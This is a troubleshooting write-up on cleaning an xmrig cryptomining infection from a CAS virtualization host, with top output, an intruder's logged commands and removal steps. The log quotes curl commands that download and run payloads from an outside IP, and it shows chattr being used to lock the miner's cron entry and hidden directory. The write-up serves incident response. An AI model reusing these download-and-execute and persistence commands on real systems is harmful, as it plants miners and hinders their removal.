

CAS Plat Poisoning

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Network Topology

NULL

Problem Description

- The CPU usage of the CAS host in idle state is 50% , the background top process has two sshd and an unknown xmrig process

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```
top - 12:08:03 up 3 days, 19:32, 3 users, load average: 20.21, 5.91, 2.80
Tasks: 602 total, 1 running, 337 sleeping, 0 stopped, 0 zombie
Cpu(s): 98.4%us, 0.2%sy, 0.0%ni, 1.4%id, 0.0%wa, 0.0%hi, 0.0%si, 0.0%st
Mem: 131411708k total, 28547512k used, 102864196k free, 173592k buffers
Swap: 14648316k total, 0k used, 14648316k free, 1740524k cached
```

PID	USER	PR	NI	VIRT	RES	SHR	S	%CPU	%MEM	TIME+	COMMAND
22240	root	20	0	374m	1408	1100	S	4584	0.0	23:51.90	sshd
43303	root	20	0	15.0q	7.0q	18m	S	111	5.6	1788:34	kvm

Process Analysis

sshd usually does not occupy such high CPU usage. If sshd is suspected to be caused by poisoning, determine the approximate occurrence time and view the /var/log/operation/ operation log. The following information is found:

```
20-02-20 10:53:23 ## root pts/4 (192.168.11.1) ## /var/lib/.cache ## curl -o http://61.91.57.222/x.jpg:curl -o
http://61.91.57.222/sh:tar zxvf x.jpg;rm -rf x.jpg;chmod +x sh;mv sh .cache;cd .cache;vi pools.txt;./sh
20-02-20 10:54:15 ## root pts/4 (192.168.11.1) ## /var/lib/.cache ## ls -a
20-02-20 10:54:33 ## root pts/4 (192.168.11.1) ## /var/lib/.cache ## ./sh
20-02-20 10:56:54 ## root pts/4 (192.168.11.1) ## /var/lib/.cache ## sysctl -w vm.nr_hugepages=128
20-02-20 10:57:10 ## root pts/4 (192.168.11.1) ## /var/lib/.cache ## crontab -l
20-02-20 10:57:14 ## root pts/4 (192.168.11.1) ## /var/lib/.cache ## ./x
20-02-20 10:57:30 ## root pts/4 (192.168.11.1) ## /var/lib/.cache ## chattr +ai /var/spool/cron/crontabs/root
20-02-20 10:57:36 ## root pts/4 (192.168.11.1) ## /var/lib ## cd ..
20-02-20 10:57:43 ## root pts/4 (192.168.11.1) ## /var/lib ## chattr +ai .cache/
20-02-20 10:57:45 ## root pts/4 (192.168.11.1) ## /var/lib ## w
```

The operation logs show that a mining virus was planted, downloaded the virus file from the Internet, decompressed it to the /var/lib/.cache directory and executed it.

Solution

1. Clearing a Scheduled Task:

You can run the `crontab -l` command to delete scheduled tasks. However, sometimes scheduled tasks cannot be deleted, indicating that the `chattr` command is used to add `ia` attributes to files or directories. Therefore, you need to remove the `ia` attributes.

```
root@cvknode:/var/lib/.cache#
root@cvknode:/var/lib/.cache# crontab -l
* * * * * /var/lib/.cache/upd >/dev/null 2>&1
root@cvknode:/var/lib/.cache# cat /etc/crontab | grep upd
root@cvknode:/var/lib/.cache#
root@cvknode:/var/lib/.cache# cat /var/spool/cron/crontabs/root
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (Cron.d installed on Tue Feb 25 14:21:14 2020)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
* * * * * /var/lib/.cache/upd >/dev/null 2>&1
root@cvknode:/var/lib/.cache#
root@cvknode:/var/lib/.cache# rm /var/spool/cron/crontabs/root
rm: cannot remove '/var/spool/cron/crontabs/root': Operation not permitted
root@cvknode:/var/lib/.cache#
root@cvknode:/var/lib/.cache# lsattr /var/spool/cron/crontabs/root
----ia-----e- /var/spool/cron/crontabs/root
root@cvknode:/var/lib/.cache#
root@cvknode:/var/lib/.cache# chattr -ia /var/spool/cron/crontabs/root
root@cvknode:/var/lib/.cache# rm /var/spool/cron/crontabs/root
root@cvknode:/var/lib/.cache#
root@cvknode:/var/lib/.cache#
root@cvknode:/var/lib/.cache# crontab -l
no crontab for root
```

2. Since the virus saves the process number in the `bash.pid` file, kill the corresponding pid. Other viruses kill according to the situation

```
root@cvknode:/var/lib/.cache# cat bash.pid
8587
root@cvknode:/var/lib/.cache# kill -9 8587
```

3. Delete virus-related files

According to the operation logs, `ai` attributes are added to the `.cache` directory during virus implantation, so it cannot be deleted directly and needs to be removed by `Chattr -ai`.

```
root@cvknode:/var/lib# rm -fr .cache
rm: cannot remove './cache/x': Operation not permitted
rm: cannot remove './cache/h32': Operation not permitted
rm: cannot remove './cache/sh': Operation not permitted
rm: cannot remove './cache/config.json': Operation not permitted
rm: cannot remove './cache/config.json1': Operation not permitted
rm: cannot remove './cache/sshd': Operation not permitted
rm: cannot remove './cache/.cnrig.cacert.pem': Operation not permitted
rm: cannot remove './cache/h64': Operation not permitted
rm: cannot remove './cache/cron.d': Operation not permitted
rm: cannot remove './cache/a': Operation not permitted
rm: cannot remove './cache/upd': Operation not permitted
rm: cannot remove './cache/bash.pid': Operation not permitted
rm: cannot remove './cache/run': Operation not permitted
root@cvknode:/var/lib# chattr -ia .cache
root@cvknode:/var/lib# rm -fr .cache
```

4. Restoring system Changes

Note Some viruses may modify system files or configurations. Restore the viruses as soon as possible. According to operation logs, `sysctl -w vm.nr_hugepages=128` is also executed on the host. Because the configuration file is not modified, change the original value or restart the host or VM.

```
root@cvknode:/var/lib# sysctl -w vm.nr_hugepages=0
vm.nr_hugepages = 0
```

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- After the virus has been removed, increase password complexity and change user passwords periodically, strengthen firewall security configurations

